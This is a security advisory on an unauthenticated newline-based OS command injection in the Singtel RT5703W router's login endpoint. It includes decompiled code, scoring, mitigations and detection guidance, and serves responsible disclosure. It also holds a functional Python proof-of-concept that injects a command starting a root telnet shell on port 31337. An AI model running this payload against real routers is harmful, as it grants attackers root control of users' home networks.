Summary

Product Singtel WI-FI 6 ROUTER RT5703W
Vendor Singtel/Askey
Severity Critical - Adversaries may exploit software vulnerabilities to execute arbitrary commands on the underlying OS with root privileges.
Affected Versions V1.6.4-5194 (latest version as of writing)
Tested Versions V1.6.4-5194 (latest version as of writing)
Internal Identifier STAR-2023-0097
CVE Identifier TBD
CVE Description OS command injection vulnerability in net.cgi in Singtel WI-FI 6 ROUTER RT5703W V1.6.4-5194 allows an unauthenticated attacker on LAN to execute arbitrary OS commands via the /cgi-bin/Login endpoint.
CWE Classification(s) CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
CAPEC Classification(s) CAPEC-88: OS Command Injection

CVSS3.1 Scoring System

Base Score: 9.3 (Critical) Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Singtel WI-FI 6 ROUTER RT5703W is a router provided by Singtel to their customers, manufactured by Askey Computer Corp.

Vulnerability Summary

There is an unauthenticated OS Command Injection vulnerability in Singtel WI-FI 6 ROUTER RT5703W at /cgi-bin/Login, allowing an adversary to execute arbitrary OS commands on the underlying OS with root privileges.

Vulnerability Details

It is discovered that in the login process of the admin panel via https://cap.singtel/1.6.4/cgi-bin/Login, the user-supplied username value is inserted into a string that is later executed as a system command. Below is the code snippet related to the vulnerability within the login function, located at address 10a78c.

int login(char* arg1, char* arg2, char* response_data, char* request_data)
{
	...
	request_json = json_tokener_parse(request_data);
	json_object_object_get_ex(request_json, "UserName", &username_obj);
	...
	username_str = json_object_get_string(username_obj);
	strlcpy(username, username_str, 0x20);
	...
	if (spec_char_check(username, 0))    // [1] checks for shell metacharacters to prevent command injection
	{
		// verify credentials
		...

		if (login_successful)
		{
			...
			snprintf(cmd, 0x80, "cmd_exec \"/usr/askey/sbin/accesslog %s 1 %s 0\"", username, login_ip_address);  // [2]
			...
		}
		else
		{
			...
			snprintf(cmd, 0x80, "cmd_exec \"/usr/askey/sbin/accesslog %s 1 %s 0\"", username, login_ip_address);  // [3]
			...
		}

		...
		do_cmd(cmd);  // [4] wrapper that calls `popen`
	}
	...
}

At [1], spec_char_check (138c78) is called to check whether the username contains any characters in a blacklist ("&;|`$). If so, it returns -1 and the login endpoint will give an error response. If none of the special characters are found in the username, the program proceeds to verify the credentials. After verification, regardless of whether the login is successful or not, the program creates a command string (at [2] and [3]) to log the login attempt. At [4], the command string is passed to do_cmd which is a wrapper function that calls popen.

The blacklist is insufficient to prevent a command injection attack, as it does not check the user-supplied string for a newline character \n. To better understand how a newline character allows for command injection in this scenario, the main function of cmd_exec is shown as follows:

void main(int argc, char** argv)
{
  ...
  memset(concated_args, 0, 0x200);
  memset(cmd, 0, 0x200);

  for (i = 1; i < argc; i++) {
    arg = argv[i];
    arg_len = strlen(arg);
    concated_args_len = strlen(concated_args);
    if (concated_args_len + arg_len > 0x1ff) break;

    strncat(concated_args_len, arg, len);
    if (i != argc - 1) {
      strcat(concated_args_len," ");
    }
  }

  __uid = geteuid();
  setuid(__uid);
  snprintf(cmd, 0x200, "/bin/ash -c \"%s\"", concated_args);
  system(cmd);
  ...
  return;
}

The for-loop concatenates all the command line arguments supplied to the program, and executes it as an ash shell script via /bin/ash -c by calling system. Furthermore, the program calls setuid(geteuid()) before calling system. This means that the command string is executed in the context of the console user, who has uid=0, same as the root user.

/ # ls -lah /usr/sbin/cmd_exec
-rwsr-xr-x    1 console  root        5.1K Mar 30 18:02 /usr/sbin/cmd_exec
/ # head /etc/passwd
console❌0:0:root:/root:/bin/ash
root❌0:0:root:/root:/bin/ash

Every line within the string provided to ash -c is executed as an individual command. As such, \n allows for command injection to execute arbitrary commands on the underlying OS. The injected commands are executed in the context of the console user (uid=0), while the web application only runs in the context of the meerkat user (uid=2). Hence, this vulnerability also leads to an elevation of privileges.

Exploit Conditions

This vulnerability can be exploited when the attacker is connected to the router’s LAN without needing any valid credentials.

Proof-of-Concept

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the OS command injection vulnerability to start a telnet service at port 31337, running as the console user with uid=0.

Requirements

  1. Python3
  2. Python requests library
    • To install, run pip3 install requests.
  3. telnet
    • To install, run sudo apt install -y telnet.

Reproduction Steps

  1. Run python3 poc.py to exploit the service.
  2. Run telnet cap.singtel 31337 to get a shell.

Exploit Details

The command injection can be exploited by setting the POST request field UserName to \n<INSERT COMMAND HERE>\n. In this script, the field is set to \ntelnetd -l /bin/sh -p 31337\n. The other fields Password and token can be set to any arbitrary value.

A sample exploit script is shown below. It is also attached along with this report as poc.py.

import requests

PAYLOAD = "telnetd -l /bin/sh -p 31337"

URL = "https://cap.singtel:443/1.6.4/cgi-bin/Login"
COOKIES = {"sessionID": "none", "expert": "true"}
HEADERS = {"Sec-Ch-Ua": "", "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Origin": "https://cap.singtel", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://cap.singtel/1.6.4/login.html", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
JSON={"Password": "b5f8e906a52b5c10adca509600cbe66f", "token": "", "UserName": f"\n{PAYLOAD}\n"}
requests.post(URL, headers=HEADERS, cookies=COOKIES, json=JSON, verify=False)

Suggested Mitigations

Ensure that the newline character (\n) is included in the sanitization list used by the spec_char_check function.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all POST requests made to /cgi-bin/Login and manually verifying if the UserName field contains suspicious records (e.g. fuzzing, newline characters, OS commands).

Credits

Daniel Lim Wee Soong (@daniellimws) of STAR Labs SG Pte. Ltd. (@starlabs_sg)